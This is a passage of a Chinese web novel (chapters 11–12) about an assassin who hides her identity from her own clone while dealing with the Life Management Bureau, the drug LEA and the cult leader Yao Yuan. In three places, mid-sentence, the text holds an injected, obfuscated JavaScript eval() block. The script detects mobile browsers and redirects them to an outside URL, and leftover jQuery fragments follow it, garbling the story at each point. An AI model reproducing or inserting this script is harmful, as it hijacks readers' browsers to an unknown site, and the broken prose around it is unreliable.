“是有一个。”吴潍摸着下巴报出了熟悉的名字,“林执。当年似乎是指定的合作技术员,但现在不知道还接不接这种委托。” 终于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272523|182377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有那么点好消息了,我拿着手电筒离开:“死马当活马医,先送你去管理局,我再去医院。” “不,你应该先去医院。”吴潍拒绝了我的独行,“你账户里没钱。记得吗?” “吴老板,”我有些无奈地喊她,“你真的觉得我在遇到你之前,全是当街乞讨才过活的吗?” 她的声音带了点久违的笑意:“当然不是,秘密特工。” 这个坐标果然是伏击,尽管有了准备,但对方确实是难缠。我浑身钝痛实在是动不了手,让吴潍去开车,我得坐副驾驶先躺一会。 “大小姐,不会开?”我被急刹起步撞在了储物箱上,痛得趴在台面上压着嗓子问她,“你那全自动的车不也是表演过手动起步的吗?” 被点名的大小姐有些尴尬一笑:“你这辆旧车进拍卖场,都能卖出原价了。” 噢,这车倒真是绝版货,卖出原价绰绰有余。我皱着眉头,毫不谦虚:“就当你在夸我眼光好了。” 好不容易起步的吴潍找不到自动巡航,我看不下去,撑着身子帮她启动,定位在管理局,总算是能安分小睡一会。 我摸出车里剩了半瓶的水,一股脑灌完,拧上瓶盖,空瓶放回原地。吴潍的视线在我这扫了又扫,我叹了一口气:“你是想问我能不能撑到医院?还是想说那份文件我看没看懂?” “呃,都不是。”吴潍托着下巴看着我,“那是我的水。” 气氛顿时有些尴尬。忘了吴潍前面坐在副驾驶,这瓶水还是我分给她的。在车里野惯了,喝了一半的水向来随便塞进哪个储物箱,除了正儿八经的实体证件,其他东西都是复数。 犹豫地捂嘴,我避开视线,语气坚定:“职业精神,我不会嫌弃老板的。” 吴潍挥手,眼里都是担忧:“你到底给什么人工作过?” “生命管理局。”我挑眉,面不改色地说一半谎,“我可是对城市忠心耿耿。” 她的表情像是根本不信:“你对复制体下不去手也因为——” 不是,因为没必要。我想说话,但如鲠在喉,最后挣扎出一句:“那份文件到底在说什么?” “当年的案件找到了生物复制体的证据。”吴潍轻描淡写,但是没再看着我,“我结合证据,给上面写了份报告,支持人类异常信仰组织和生命管理局合作。” 太怪了,明明是我亲手写的文件,却被另一个生物体说“我写了”。我深呼吸,压下莫名其妙被剽窃的感觉:“那文件里的推测?” 这份文件只证明了两件事情:生物复制体确实存在,辐射区存在人类活动痕迹;两个推论:辐射区可以生存,辐射区之外存在第二个世界;一个建议:和民间辐射区探索组织合作,共同开拓资源。 而我拿走了管理局的拒绝批复。当然,这一点吴潍一定可以自己看出来,我想要隐藏的是:管理局坚决回复辐射区没有人类痕迹,否认了切实存在的实体证据。 要把她的注意点转移到去查管理局,辐射区本身就没有特别的意义,而且她被监视了,不会有任何线索。 “第二个世界?”她撇嘴,“我觉得更像是某种意向,而不是真正的第二个世界。” 我挪了一下姿势,尽量坐直身体问她:“你为什么这么说?” “一份上报的文件,却没有任何批复?”她的语气很肯定,“组织既然能获得这样的内部文件,没理由得不到管理局的批复。要么是批复为拒绝,没必要放出来;要么就是管理局透露了重要信息。” “比如说?”我摸着昏沉的头,努力打起精神。 她似乎是又看了我一眼,放弃跟进这个话题:“你先睡吧。” 好吧,在我已知的人生生涯中,很少会受这么重的伤。 上次不得不去医院的重伤,还是被名单上的复制体围殴的时候。因为昏迷定位太久没有改变,还是执行官同事把我带进医院的。 假如我是生物复制体,可就真的就死在那里了。 是梦还是回忆?我有些分不清我睡没睡着,但神智还是回来了。 我的老爷车停在了上午的街区,吴潍离她的下班时间还有两个小时。她下车时候的眼神落在我身上,像是轻轻地叹息,最后让我打开联系共享,把联系方式录进了我的手环。 接过方向盘,我终于恢复了孤身一人的行动力,熟练地开启自动巡航。 本想趁着这段时间好好梳理一番事件,但我的身体显然是开了省电模式,除了基本的生命体征,其他一概选择罢工。 我支开吴潍就是医院会因为重伤清洁我的身体,方便监测。把身上的装备全部留在车里,顺手把化妆品揣进风衣外套,我下车走向医院。 脸上的那些化妆品自然是留不下来,除了美瞳。 这玩意是管理局科技,是伪装,也是执行官的通行证明。开不了居民的锁,进生命管理局管控的实体建筑绰绰有余。 11. 岌岌可危的真相 “Caster女士,”眼前的医生面露难色,“需要我帮您报警吗?这么重的伤在城市里很少有。” “我坠楼了。”我说得很平静,并且用视线阻止医生再问下去。对方无奈,按照我的要求选择了恢复最快且后遗症最小的方案。 不便宜的费用一笔一笔地提示在手环上,拍完CT,上完药,又给我打了一针什么修复剂,最后被两位男护士摁进了人体修复舱。 为什么是摁,因为那个修复舱有安眠镇定成分,我躺进去的时间不可控。 高级,费用也很高级。我放弃挣扎,果然还是应该让吴潍来垫付。但说到底,她的钱又是我的钱。 等着眼前的修复舱倒计时缓慢归零,昏昏欲睡。 又是花香,生命管理局能不能整点别的味道。陷入睡眠断片之前,我这么想着。 梦里是那个名字,那个名字的经历很有趣。 噢,下层的有趣跟上层的有趣不是一个概念,我说它有趣,是因为这个名字的主人在十年里被我回收了三十八次。第五次及以后,那个名字的主人就会无条件地相信我的故事,乖乖走进回收计划。 厌倦了机械地暗杀,我偶尔会为熟悉名字的载体编一些故事,让他们心甘情愿地被我回收,省时省力。 下层的每个月,管理局都会给我一份名单,上面每个名字都是一条命。生命在我手里像空气一样无知无觉,我只有运动起来、举起我的武器,挥下去,才能感知它的份量。 最后永远会有新的复制体,接过那个名字,融入下层社会生活。 永无止境的暗色生活。 但下层的星光很亮,我不知道这是世界的补偿机制还是别的什么,只有我抬头仰望星空的时候,才会觉得,逃离是对的,放弃一切是对的,选择自由,是对的。 梦里的我抬起手检查伤势,但看见我的手环上闪着一条未接电话和两条消息。 都是吴潍发过来的,一条“样本已经交给林执”,还有一条“没钱可以预支工资”。 谢谢老板。我在心里谄媚又感动地说,要是管理局能有吴潍一半良心,也不至于整天抱怨它了。 倒计时已经变成负五十分钟,超时了近一个小时。猛地起身,结果狠狠撞在了玻璃罩上。 “操。”我捂着头哀嚎一声,摸上手边的开启按钮,这才坐起来。 翻身离开修复舱,环视一圈。有面落地镜,还有个挂着我衣服的架子。 衣服看起来像是被清洗过,甚至还帮忙熨平了褶皱。定制化的治疗方案,修复舱的独立空间,甚至还有专门的清洗工作,上层的资源真是丰富到一定地步了。 从落地镜里只看见我穿着宽松的病号服,为了治疗后背的骨裂,衣服的后背是落空的。 扭着身体,去检查伤势,肩膀的贯穿伤已经基本愈合,整个背部有很多颜色浅淡的小小标记。 一个标记就是一处骨裂。碎了这么多处?我本以为没有那么严重。 修复舱治疗方式就是通过X光定位患处,用针尖注射修复原料和催化剂,时间长短根据受伤程度决定。 但后期依然需要定期检查增生组织和生物力学测试。就算是管理局能从无到有地造出一个复制体,但人体本身的恢复能力还是不应多干涉。 这种方式只是使用人体材料进行精细到细胞的固定,也是另一种意义上的揠苗助长。能够让伤患迅速恢复行动力,军用转民用的典型技术。 我撩开前襟,检查肋下和侧腹的淤青,消了很多,依然还有痕迹。 这种皮肉伤,多注意就好。 我穿上带来的衣服,衣服上也沾染到了熟悉的花香。整个房间充斥着修复舱的花香味。这种味道到底是故意的,还是安神物质自带的? 命真苦,诸事不顺。 我穿上风衣,准备摸出口袋里的化妆品,空的。心下暗道不妙,低头查看了手环时间,刚好撞上吴潍发来一条“我去医院找你”。 就知道,修复舱的时间不可控。没有回复吴潍的消息,来不及去探究原因,我得回车上。不管是拿墨镜,还是备用化妆品,我都得避开和她撞上。 出门就和一件白大褂撞上了。对方比我高出许多,被我撞得往后一退。 “抱歉。”我试图伸手去拉他,“我刚从修复舱里出来,有点混乱。” 对方避开我的手,扶了扶眼镜,稳住身形,语气里有些被撞痛的无奈:“小姐,你比绝大多数病人都结实。” 熟悉的声音。我下意识低头遮住脸:“非常抱歉,我得先走了。” 是林执,当年的案件他是技术支持,我带回来的样本的DNA比对都是他做的,那条“辐射区之外有第二个世界”也是他给我背的书。 没等他说点什么,我刚想转身离开,他拉住了我的手腕:“等等。” 我用力甩开林执的手。整天坐办公室的,跟我这种天天在外跑的可比不了。顺利挣脱开,刚抬腿走了没两步,我的手环又有一声提示。 低头查看,是联系添加成功的标识。在拐角余光瞥一眼林执,对方冲我举着带着手环的左手,似乎在说:你的联系共享没关,不怪我。 我单方面删了,也不会影响他给我发消息。只能祈祷这是个纯粹的意外,而不是姚渊给我从头下到尾的套。 刚准备从前门出去找我的车,就看见吴潍对问诊台的人道谢,立刻调转步伐,转身从员工通道出去。 有一群探头看着我风风火火路过的护士们。其中一位正准备起身来拦我,看着我径直解锁门口设备,面不改色地进入闪着红光的权限门,又坐了回去。 官方暗杀组织,去哪都能装一把大的。我压下心头莫名其妙的优越感,生命管理局的集中统治只有这点好。 根据手环上的地图,我可以从这扇内部门通向地下停车场,再绕路去地表找我的车。这样就可以避开和吴潍直接撞上。 我走在停车场的时候,身后有一辆低调的昂贵跑车不疾不徐地跟在我身后。我就差把自己摁进墙里,从这段路上彻底蒸发了,那车还是跟猫似的不远不近地贴着。 是什么在跟踪我?这不是定位精度能做到的事情,是非常了解我行事风格的人。 “姚渊。” 我两条腿再厉害也跑不过四个轮子。看着那辆灰色的流线型车停在我面前,驾驶员那张永远似笑非笑的脸再次出现。 “吴队,顺路一起吃个饭?”他盯着我看,冲我一笑,“我们好歹也是‘过命’的交情。” 我看也没看他,抬腿继续按照路线行事:“不熟。” 他调了手下的自动巡航速度,跟我平行前进。姚渊在窗口消失了几秒钟,拿出我丢失的化妆品组合包,展示给我看:“你以为你现在能骗过谁?” 身边的东西真是一刻都不能离开视线。我面不改色:“堂堂组织总督还改行做小偷了?” “我不觉得我们的理念有分歧,吴队。”姚渊毫无愧疚之心,把东西随手扔在后座,语气里的蛊惑消失无踪,“我们都是寻求真相之人,你为什么要隐瞒你那部分?” “叶琦就是下场。”我提醒姚渊,“我不想死。” 姚渊笑了一声,终于听起来有几分和年纪相配的轻快:“你从来没有否认过你知道真相。” 我给了姚渊一个“你觉得是就是吧”的眼神:“你想说什么?” “管理局在利用你,”他的语气极具说服力,“不管你现在在做什么,管理局的下一个目标就是你。” 很好,说点大家不知道的。我腹诽着,神神叨叨半天,在这等我呢:人类异常信仰组织可以为你提供庇护。 如我所料,他郑重其事地向我承诺:“我们可以保护你。” 我忍不住笑出声:“你是说,你们作为民间组织已经可以独立门户了?” 照你们这种“宗教信仰”路线发展下去,只能是下一个生命管理局。 “不能。”姚渊叹了一口气,“管理局知道我们手里有LEA。” 噢,和我做交易呢。LEA已经有了相当规模的走私网络。吴潍的笔记本里的仓库少说有十个,她作为头部销售,规模已经不小。 “姚渊,你脑子没问题吧?”我忍不住吐槽他,“你一个首领想断掉自己的财路?” 姚渊不耐烦地“啧”一声:“我跟他们不是一路人。” 我快走到停车场出口了,再往前他还是这么慢悠悠地跟着,那一定会直接暴露在管理局视线下。 “我不需要庇护,”我爱莫能助地看他一眼,“我不参与帮派内斗。” “我们也不是非你不可,吴队。”姚渊懒洋洋的声音从我身后传来,“你当年能找到的真相,她也可以。” 我停住了脚步。 “你也清楚,目前下不去手的只有你一个。”姚渊的声音提高了几分,踩着油门从我身边停住,才轻轻地喊了一声,“吴潍队长。” 我想扎爆他的车胎。 为什么我遇到的每个人都愿意飞蛾扑火?那种真相怎么会值得这样的牺牲?姚渊为什么会那么自信自己不会是下一个叶琦? “保持沉默不会解决任何问题。”姚渊撑在车窗口上盯着我看,“吴队,你觉得叶琦的死跟你毫无关系吗?你的再次出现,才是压死她的最后一根稻草。” 我不耐烦地“啧”一声,打断他对我的精神压力:“你在策反生命管理局的核心员工,姚渊。” 对方眨眨眼,似乎没有意识到我的言外之意:“你又不是第一个。” 我是得改改自己谜语人的习惯,在下层,故事说完整会缺乏让对方崩溃的情绪空间。 叹了一口气,俯身,手臂压在他的车顶上:“精神压力对我无效,你的拿出点实际的诱惑。” “余殷信息的解码线索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272524|182377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”姚渊抛出极具诱惑力的条件,“你和我的目标都是管理局,那串数字就是切实证据。” 维持姿势和他对视,我没什么表情:“谁跟你说我的目标是管理局了?” 姚渊抿唇,勾出一个嘲讽的笑:“吴队,管理局放你回来的任务,只会有杀掉现在这个‘吴潍’。你现在迟迟不出手,管理局早晚会派人替你做。” 到那时,任务性质就不一样了。我知道姚渊在说什么,我还剩十一天。 “姚渊,我提醒你,”我慢条斯理地扯出句子,“我把你们组织铲除掉,也是完成任务。你怎么能确定,这不是管理局的一盘大棋呢?” 位于低处的男人伸出左手手环,打开了联系共享,似乎笃定我会让步:“你甘愿当棋子?” 当了那么多年,谁在乎。我伸手让手环在感应范围内相碰:“你们组织手环是共享的。” 就算管理局追踪,城内数以千计的同时定位点也会让专业人士头疼,更何况换个识别码、换个定位都是家常便饭;再加上姚渊作为在外露面的“总督”,管理局未必不在追踪他。 无论如何,姚渊现在是安全的,至少目前是。 “不愧是吴队,一眼就能看出来。”姚渊收回手,颇有几分谈判成功的心满意足,看见我的假名又皱了眉头,“Wined,这什么破名字。” 我冲他竖中指,虽然我也不喜欢这个名字,但主要是我不喜欢死而复生的人类。 姚渊一脚油门离开,跑车的引擎轰鸣让我想起吴潍的那辆。不如她,没品味的男人。 混进人群,找到自己的车,我在车里翻箱倒柜找我的复数化妆品。 操,那男人顺走了我的化妆品。我对着镜子描眉,才后知后觉地想起来。我得换一套牌子,万一哪天露馅了也好迂回。 “你走了怎么不告诉我一声。”吴潍的声音吓得我差点眼尾描歪了,“让我一顿好找,周围几个隐蔽停车点我都找了。你这是最后一个位置。” 收好化妆品,我看着吴潍熟门熟路地坐进副驾驶,忽然很想问她:“我们认识有三天吗?” 她摸着下巴,很认真地思考一番:“今天应该是第四天,如果你来查档案的那天也算上的话。” 我趴在方向盘上,看着她对我莫名其妙的问题认真盘算,忍不住笑了一声:“感觉好像认识了很久。” 她狐疑地看我一眼:“同苦是这样的,当年在一个训练场待过的,没两天就是朋友了。” 我想起了叶琦。 借着LEA灌输给我的记忆和情绪,我眼前闪过叶琦无力歪倒在一边的情景——她的欣喜和希冀,我的迷茫和痛苦,两份截然不同的情绪拉扯着我的内心和思维,只能迫使自己不要再去想。 坐直,启动汽车,开了自动巡航到城市边缘的一家旅馆。 我拿出在后座的平板,那串余殷留下的数字还留在上面。时间戳、日期、坐标,最后似乎无意义的“06”在屏幕上静止,竭尽全力地暗示我第四种解法。 “LEA真的能治疗‘精神分裂’吗?”我摸着平板的边缘,“灌输的情绪只能是类似多巴胺的强制调节吧?” 吴潍在她的纸质笔记本上写了什么,听见我说话,转头看着我,卷发落在身前:“我只觉得这是LEA的其中一个作用。如果只是记录生化反应,有很多别的方式,不一定非得是LEA。” 我本想告诉她我看见了叶琦的记忆,但LEA展现给我的那部分记忆,只对曾经那个失踪的“吴潍”有意义,对被调职的“吴潍”是难以理解的。 问起来我也说不清楚,最后只会暴露我深度参与了十年前的案件,甚至,暴露我就是那个原本的“吴潍”。 她似乎意识到我的情绪低落:“姚渊给你注射的LEA让你感觉到了什么?” 我摸了摸眉心短暂思考,决定做我擅长的事情,剪辑事实:“模模糊糊的,我也不太确定。主要是是余殷要求离婚的片段,她似乎觉得——” 我本想说“叶琦觉得余殷是生物复制体”,但这样一来,她为什么会不同意离婚呢?于是决定拉上她失踪的女儿:“余殷最近很奇怪,因为女儿不知真假的指证而走向极端,不可理喻。” 我在心里给叶琦磕了个头。 吴潍绿色的眼睛看着我,在黄昏下显出迷人的金翠混色:“什么指证?” “女儿觉得余殷是生物复制体。”我把叶琦的猜测转嫁到她女儿身上,“也许女儿的判断也影响了叶琦?我不确定,那种感觉像是雾里看花,真实存在但看不清。” “唔,也就是说,LEA还会注射记忆?”吴潍在自己的笔记本上画了一串,“被周围人指控,也怪不得余殷会选择死亡。如果那个时候有LEA,说不定可以帮助他。” ……重点是怎么帮助余殷吗?我无奈地敲敲手里物件的边缘:“你怎么不怀疑余殷真的是复制体?” 12. 岌岌可危的真相 “因为没有证据。”吴潍把头发别到耳后,似乎才意识到她没有说起这件事,“如果复制体有单独的档案、记录,或者其他什么可以证明存在的记录,我肯定可以发现。” 复制体的证据。我看着屏幕上的一串数字。在上层,管理局一定会标记生物复制体,不然无法区分。肯定有单独的档案,但是必然和我的真实身份档案一个级别,很难拿到。 “不过,那种被质疑是复制体的那些人,绝大多数都参加过辐射区探索。”吴潍翻了翻自己的笔记,跟我说,“所以辐射区里真的存在什么吗?” “结合你曾经的任务报告,有可能。”我停顿了一下,打断了她没说出口的计划,“但我需要指出,所有非官方的辐射区探索只有死路一条。” 至少当年是这样的,不确认现在还是不是这样,但我有很大把握。 那次案件结案之后,很多人依然对辐射区怀有好奇心。我推测,从管理局拒绝和异常信仰组织合作,但设立了探索辐射区的官方抽签任务来看,八成会用死亡率来限制绝大多数人的想法。 果然,在上层完整生活了二十多年的吴潍没有反驳我:“你从辐射区里回来的,也没有发现什么?” “多信任我几分?”我无奈地戳破她话里潜在的不信任,“辐射区真的荒无人烟,跟管理局放出来的信息是一样的。” 这倒是实话,辐射区真的什么都没有。只像管理局说的那样,有专门的队伍在巡逻,保护城市安全。对我来说,要是队伍里都不是同行会更有说服力。 吴潍无从证明,只是在笔记上又写了些什么。 我有些好奇她写了什么,但又不好直接探头去看,只好提起话题引起她的注意:“叶琦案子的报告出来了吗?管理局怎么会对自家主力城市管理员出手?” 这都过去快二十个小时了,管理局效率不至于那么低下吧? “出来了。”吴潍不觉得这有什么好提的,“无人机故障,控制型弹药误装为了实弹,导致意外。” “纯粹放——”我收下嘴里的脏话,轻咳一声,“其他呢?没有异常?” 她回忆了几秒:“我觉得有。现场的LEA针剂没有作为证物提交,似乎想要掩盖LEA的存在。” 那当然。生命管理局还是要面子的,自家高级城市管理员和地下走私药剂同流合污算什么事。 我引导着话题走向:“管理局想要掩盖LEA的存在?” “有可能。”吴潍这么说着,但她的笔没有停下,也没有转头注意我。 我只好偷摸探头去看。她察觉到我的动作,反而主动把那页纸放在我眼前。 是密语。那一页的两个段落开头分别是“他的目的”和“组织关联”。再看下去就过了“假装能看懂”的玩笑时长,我视线从纸上转到吴潍脸上,装模做样地摆出“你原来写了这个”。 她有几分怀疑地看着我:“你看懂了?” “当然看不懂。”我对她有几分埋怨,“明知故问。” 她倒是笑得灿烂,本来就像是故意逗我一样,收回记录本:“我在整理思绪。姚渊给出那份文件的目的是什么,LEA和组织的关系是什么。” 当年案件所有关键信息都在那份任务报告里。 如今姚渊把原本复印件放出来,一方面利用了吴潍调职前后的落差,她必然想知道十年前发生了什么;另一方面威胁我:你不想说的事情,你的复制体会替你说。 这座城市的生物复制体,就是本体百分之百的基因潜力表达。除了在不同环境里性格和爱好有细微差别,本体做得到的事情,复制体也一定可以。 时隔太久重打多结局游戏,八成还是第一次达成的结局,一个道理。 “为了提醒你当年和组织的分歧并不大?”我斟酌着语气,“也可能在暗示他们接触吴烛是为了保护她?” 这算不算一种蒙太奇?我想起姚渊那副“我做得到”的表情。他要是真的那么确信“第二世界”可以带来解脱和幸福,顺手决定救个组织成员也不是什么难事。 吴潍对着我提出的两个可能延续思考:“用母亲还威胁我还差不多。问题是,我现在什么都不知道,他们想知道什么?” 我觉得正常人应该不会有这样的经历:听着别人,特别是这个“别人”还是自己的复制体,基因上的一模一样,喊自己的母亲为“母亲”。配合上现在左右不是人的处境,我实在是有点嫉妒。 我摸了摸下巴,给她一个可能性不高的回答:“总不能就只是在说管理局被渗透了吧?” “一方面,但绝不是主要原因,不然他们何必在地下运行。”吴潍皱起眉头,“也不应该拉拢我。质疑他人者为主的组织不会拉拢被质疑者,否则组织成员之间就会有内部冲突。” 跟着她的说法,我往下延伸:“但是吴烛是组织成员,他们也许猜到了你十年前失忆的情况?” 至少有姚渊和叶琦。我在心里补充着。 “用这份文件误导我曾经是他们的一员?”她拿出那份复印件,重新翻了一下,“还是说,我忘记的事情他们可以帮我想起来?” 我觉得是。我想着。总不能直接跟她说你是组织的PLANB,这后果可控制不住。 “你想知道吗?”我明知故问。 她看了我一眼:“我想。” 缺失那段记忆之后,母亲的态度一百八十度大转变。曾经在管理局内部碰壁的调查,现在异常组织给了她线索,必然不会放弃。 我心里叹气,表面上语气坚定地对她说:“我替你去。” “为什么?”她疑惑地看着我,似乎觉得我主动深入虎穴的行为很缺乏考虑,“且不提你的伪装可能会被识破,你本身可以不参合这件事。” “我是为了叶琦。”我笑了一下,“虽然管理局也脱不了干系,但明显你出入生命管理局更加方便。” 这倒是和吴潍的对话中异常罕见的真心实话。多合理的分工合作,这个世界上除了第二个自己哪还有人值得被这么信任? 吴潍看着我的表情显然带了些说不清道不明的感动,最后还是没有放过我:“所以你当时逃出组织的时候是发生了什么?” 哪壶不开提哪壶。我想着。叶琦文件被我剪辑出的“清算组织”故事,又想起逃出后被叶琦本人追杀,要怎么把这两个事实有逻辑地拼接起来? 组织的修正需要向总督申请。如果叶琦在清算组织,姚渊怎么会继承她未完成修正? 我只能利用吴潍不清楚所谓的“修正”到底指什么的情况,改成叶琦无论加不加入组织都能成立的说法。 “组织先发现了城市里有两个我,那帮疯子觉得我是他们信仰之地的见证人,想要利用我。”我的语气透出些无奈,“叶琦追杀我,是觉得我是生物复制体。” 吴潍本人也觉得本体地位高于复制体,叶琦的追杀动机并不算有问题。 “那姚渊怎么会说继承了叶琦的修正?” 我早有准备:“你不会认为那份名单是叶琦看一眼组织成员就能得到吧?他们都是管理局卧底。” 曾经的卧底也是卧底。我说姚渊跟叶琦是一路人,那就是一路人,反正他也没杀我。只要我去查组织,姚渊也不会主动接触吴潍。 总之,吴潍没法证明。 消除了一个疑点,她沉思着我的说法:“但你的匕首,不就已经向叶琦证明你是本体了吗?” 所以她找上了我而不是你啊,吴潍同学。我心里腹诽着。一个谎要用一百个来圆,令人头疼。 我深深地叹气,面不改色:“也许是因为复制体和本体都有这把匕首吧?复制体要替代本体在社会里生活,这些重要物证自然不会漏掉。” “但当时叶琦拉着你来修改生命备份时间的时候,关系看起来很好?”吴潍对我的问题一个接着一个。 我觉得这种日子再过下去我就要变成故事大王了,下辈子我去姓郑,再也不姓吴。 把乱糟糟的思绪扔到一边,我回答她:“失踪的人刚回来,她还没有确认我到底是谁,顺手利用你验证档案是否有问题。” 吴潍手指着自己,有些意外又有些意料之中:“她还真是一如既往地算好了所有人。” 自觉是没有漏洞了,最后注意不要让姚渊接触吴潍,这些说法都基本成立。 吴潍的视线从了然又转变为怀疑:“她为什么会怀疑你不是本人?” 我摊手:“因为我不能向她坦白事实。” 还因为我跟她打了一架。嗯,这些真的是实话。 “也不能向我坦白。”吴潍嘀咕了一句,不再指望我能分享更多事实,又摸着下巴又在笔记本上写写画画去了,而后忽然抬头,“你伤口怎么样?你好像挑了很贵的病房?” “好得很。”我曲起左臂,展示掩藏在风衣底下的肌肉,“跟你说了我有第二个账户。” “秘密真多啊,Caster女士。”她拽着第二语言跟我阴阳怪气。我放下手臂,笑一声,翻过这个话题。 眼见到了旅馆目的地,我关了自动巡航,手动停车。 我拿走自己的包,站在副驾驶门外,看着副驾驶的人收好一堆文件,夹在纸质笔记本里。终于是按耐不住好奇心,问她:“你怎么会习惯纸质记录?” 被问的人一时间不知道怎么回答:“物理文档比较容易处理。在电子设备上的所有东西都能被管理局找到。” 谨慎,好事,我没意见。我站在原地,安分地等着新晋老板的指令:“晚饭你想怎么解决?” “听你的。”吴潍转让决定权,“我不挑。” 话是这么说,但我还是用搬行李的理由把决定权扔了回去。 吴潍大度地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275189|182377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为她的员工单开了一间房,我把行李分别放进开好的房间,仔细检查是否有潜在的摄像头。 我可不想变成上层居民的夜间消遣。 没有异常,也没有可疑人员跟踪。我低头看了眼手环,关不掉的倒计时依然在读秒。 执行官的追杀倒计时在十一天后,姚渊的主要目的也有我的松口,这几天是没有需要逃亡的麻烦了。 如释重负地呼气,转身乘电梯下楼,我隐隐有些期待周围的饭店会有什么惊喜。 这家旅馆作为城外游客的落脚地口碑颇好。说是旅馆,倒也算得上是综合购物中心,该有的都有。 上层的酒真的很难喝,就是不知道其他部分如何。我还在电梯里神游天外,手环消息提示音把我拉了回来。 “当前任务目标追加:姚渊。” 是管理层发来的,只有短短一句话。我能猜出来他大概率是复制体,但为什么是我去处理?城市的生命维护执行官难道就那一位吗? 想起那位倒霉的生命复制体在玻璃碎上挣扎,我忍不住良心又有点痛。 我看完就准备放下手,反正管理局一如既往地“冷暴力”,从来不回答我的疑惑。意外的是,管理局随即又发来了一份文件。 电梯即将到达楼层,我不能在大庭广众之下查看管理局内部文件。时间匆忙,只好扫了眼文件标题,是熟悉的任务书格式。 踏出电梯,跟着吴潍共享的定位兜兜转转半天,我最后才在顶楼的犄角旮旯找到那家店。 入口被夹在了另外两家店面中间,我穿过狭长的门廊,才能看见里面。店面不算小,重色的桌椅点缀亮色摆件,浅色隔帘上方落着变色灯光。室内风循环带起薄纱,连带着整个空间有几分超脱物理的虚幻感。 在饭店和酒吧之间找到了奇妙的平衡。我扫视一圈迅速锁定吴潍,确认周围都是游客或者普通居民。一路走到吴潍的对面,坐到椅子上,我才停止下意识地给路人打上标签的职业病。 没有低音重金属,没有抓着路人威胁的混混,没有挥之不去的机油尘土味——上层日子这么好过,为什么非得打破这种幸福? 我看着低头对照着手环研究特色菜的吴潍,实在是忍不住去揶揄她:“还有这个闲情逸致?不担心后面还有追兵?” “要是有追兵,你还舍得来这种地方?”吴潍一副既来之则安之的模样,“你要是故意坑我一笔,那我也没意见。” 财大气粗,老板。我深刻反思我曾经是这样的人吗? 说她谨慎,能把我逼得短短几天除了真正真相,其他事实都被她套完了;说她不谨慎,在这种情况下还有闲心研究招牌菜。 我不习惯这种安静平和的环境,撑在桌子上没话找话:“你不怕我把你卖了吗?” 吴潍终于决定好招牌菜,把选好的菜单给我看:“为什么?我的身体?这座城市不需要任何人类器官。” 我欲言又止,盯着看不出原料的菜单许久,说不出一句话,最后一语双关,把菜单递给服务员:“我没意见。” 你说得对。这座城市就是因为生物科技而屹立于此,甚至有余力参战。 吴潍一直在试图和我闲聊。我实在是没有什么可以谈得上的兴趣爱好,思来想去半天,还是只能说:“看星星。” “看星星?”吴潍惊讶地重复,是哪本哲学书的开头铺垫,“就是那些重复的光晕?” 下层的星星很清晰,银河也很绚丽,是只要抬头可以获得的浩瀚无垠。跟它们比起来,那些在我手下成为冰冷数字的生命,仿佛也只是万物轮回的一部分。但天还是会亮,白昼依然会到来,刺目灼眼的太阳只能让我再次低头,再次回到逃离不了的任务。 无论如何都不能提起那里。 我抿唇,诚心实意地质问回去:“这种爱好很奇怪吗?” 吴潍收起“意外”表情,盯着我看了很久,久到我困惑地摸上自己的脸,她才开口,声音里带着我听不懂的遗憾和柔软:“所以,辐射区真的什么都没有。” 这句陈述句不知道在回答谁。虽然说的是辐射区,但在我听来,是在透过表面层层叠叠的伪装,对我说:幸好你回来了。 我不知道该说什么,在尴尬到实体的气氛里有些无助地卷着鬓边短发。 她忽然低头看看手环,又抬起头,轻咳一声,模仿起《月光遥遥》里的旁白声线:“不是每一种选择都有两全其美的结果。” “你说得对。”我忍不住低头笑起来,“但我也许选择了这辈子最差的结果。” 吴潍没有再尝试和我闲聊。那几道招牌菜是吃得清心寡欲,但造型确实别出心裁。我纯听吴潍指挥,该吃吃该停停,等着她出片。 直到坐着电梯准备回房间时,她才犹犹豫豫地开口:“我不知道我应不应该说,但只要你还有选择,结果就还有扭转的机会。”